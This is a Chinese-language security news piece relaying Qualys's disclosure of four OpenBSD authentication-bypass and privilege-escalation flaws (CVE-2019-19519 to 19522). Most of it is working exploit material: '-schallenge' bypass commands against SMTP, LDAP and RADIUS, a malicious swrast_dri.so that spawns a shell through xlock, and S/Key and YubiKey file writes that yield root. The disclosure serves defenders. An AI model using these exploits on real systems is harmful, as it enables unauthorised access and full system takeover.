其他
开源操作系统 OpenBSD 被曝四个严重的认证绕过和提权漏洞(详情)
CVE-2019-19521:身份验证绕过
[class]参数 service 指定了调用程序应该使用的协议。可以使用的协议是 login、challenge 和 response。(OpenBSD 的身份验证框架将“schallenge”解释为“-s challenge”,从而强制系统静默忽视challenge 协议,从而自动绕过该验证方式。由于密码验证方式并非基于 challenge-response,因此将会报告成功结果。)
在第二个例子中,目的是允许邮件发送并仅为能够进行身份验证(使用正常的登录凭证)的用户中继。
...listen on egress tls pki mail.example.com auth
...
match auth from any for any action "outbound"
$ printf '\0-schallenge\0whatever' | openssl base64
AC1zY2hhbGxlbmdlAHdoYXRldmVy
$ openssl s_client -connect 192.168.56.121:25 -starttls smtp
...
EHLO client.example.com
...
AUTH PLAIN AC1zY2hhbGxlbmdlAHdoYXRldmVy
235 2.0.0 Authentication succeeded
当用户使用 SASL 绑定方式时,身份验证 ID 应该是BSD Authentication 的一个合法用户名。要使其接受明文形式的密码,连接必须是安全的,或者使用加密连接或者使用配置文件中的安全关键字。
$ ldapsearch -H ldap://192.168.56.121 -O none -U invaliduser -w whatever
SASL/PLAIN authentication started
ldap_sasl_interactive_bind_s: Invalid credentials (49)
$ ldapsearch -H ldap://192.168.56.121 -O none -U -schallenge -w whatever
SASL/PLAIN authentication started
SASL username: -schallenge
...
# numResponses: 1
-------------------------------
module load "bsdauth" "/usr/libexec/radiusd/radiusd_bsdauth"
...
authenticate * {
authenticate-by "bsdauth"
}
$ radiusctl test 192.168.56.121 secret -schallenge password whatever
...
Reply-Message = "Authentication succeeded"
module set "bsdauth" "restrict-group" "operator"
80 int
81 main(int argc, char *argv[])
82 {
...
192 pw = getpwnam(user);
...
197 if (gr->gr_gid == pw->pw_gid) {
225 void
226 monitor_child_preauth(struct ssh *ssh, struct monitor *pmonitor)
227 {
...
229 int authenticated = 0, partial = 0;
...
249 while (!authenticated) {
...
288 }
289
290 if (!authctxt->valid)
291 fatal("%s: authenticated invalid user", __func__);
$ ssh -v -F /dev/null -o PreferredAuthentications=keyboard-interactive \
-o KbdInteractiveDevices=bsdauth -l -sresponse:passwd 192.168.56.121
...
debug1: Next authentication method: keyboard-interactive
$ su -L -- -schallenge
Segmentation fault
CVE-2019-19520:xlock 中的本地提权
101 _X_HIDDEN void *
102 driOpenDriver(const char *driverName)
103 {
...
113 if (geteuid() == getuid()) {
114 /* don't allow setuid apps to use LIBGL_DRIVERS_PATH */
115 libPaths = getenv("LIBGL_DRIVERS_PATH");
----------------------------------------------------
$ id
uid=32767(nobody) gid=32767(nobody) groups=32767(nobody)
$ cd /tmp
$ cat > swrast_dri.c << "EOF"
#include <paths.h>
#include <sys/types.h>
#include <unistd.h>
static void __attribute__ ((constructor)) _init (void) {
gid_t rgid, egid, sgid;
if (getresgid(&rgid, &egid, &sgid) != 0) _exit(__LINE__);
if (setresgid(sgid, sgid, sgid) != 0) _exit(__LINE__);
char * const argv[] = { _PATH_KSHELL, NULL };
execve(argv[0], argv, NULL);
_exit(__LINE__);
}
EOF
$ gcc -fpic -shared -s -o swrast_dri.so swrast_dri.c
$ env -i /usr/X11R6/bin/Xvfb :66 -cc 0 &
[1] 2706
$ env -i LIBGL_DRIVERS_PATH=. /usr/X11R6/bin/xlock -display :66
$ id
uid=32767(nobody) gid=11(auth) groups=32767(nobody)
CVE-2019-19522:经由 S/Key 和 YubiKey 的本地提取
$ id
uid=32767(nobody) gid=11(auth) groups=32767(nobody)
$ echo 'root md5 0100 obsd91335 8b6d96e0ef1b1c21' > /etc/skey/root
$ chmod 0600 /etc/skey/root
$ env -i TERM=vt220 su -l -a skey
otp-md5 99 obsd91335
S/Key Password: EGG LARD GROW HOG DRAG LAIN
# id
uid=0(root) gid=0(wheel) ...
$ id
uid=32767(nobody) gid=11(auth) groups=32767(nobody)
$ echo 32d32ddfb7d5 > /var/db/yubikey/root.uid
$ echo 554d5eedfd75fb96cc74d52609505216 > /var/db/yubikey/root.key
$ env -i TERM=vt220 su -l -a yubikey
Password: krkhgtuhdnjclrikikklulkldlutreul
# id
uid=0(root) gid=0(wheel) ...
CVE-2019-19519:su 中的本地提取
60 int
61 main(int argc, char **argv)
62 {
...
174 for (;;) {
...
210 if (!class && pwd && pwd->pw_class && pwd->pw_class[0] != '\0')
211 class = strdup(pwd->pw_class);
$ id
uid=1000(jane) gid=1000(jane) groups=1000(jane), 0(wheel)
$ ulimit -H -a
...
processes 512
$ su -l -L
login: root
Password:
Login incorrect
login: jane
Password:
$ id
uid=1000(jane) gid=1000(jane) groups=1000(jane), 0(wheel)
$ ulimit -H -a
...
processes 1310
$ id
uid=1001(john) gid=1001(john) groups=1001(john)
$ ulimit -H -a
...
data(kbytes) 786432
...
processes 256
$ su -l -L
login: _pbuild
Password:
Login incorrect
login: john
Password:
$ id
uid=1001(john) gid=1001(john) groups=1001(john)
$ ulimit -H -a
...
data(kbytes) 33554432
...
processes 1024
https://www.qualys.com/2019/12/04/cve-2019-19521/authentication-vulnerabilities-openbsd.txt?_ga=2.58244398.587934852.1575530822-682141427.1570559125
https://thehackernews.com/2019/12/openbsd-authentication-vulnerability.html
奇安信代码卫士 (codesafe)
国内首个专注于软件开发安全的产品线。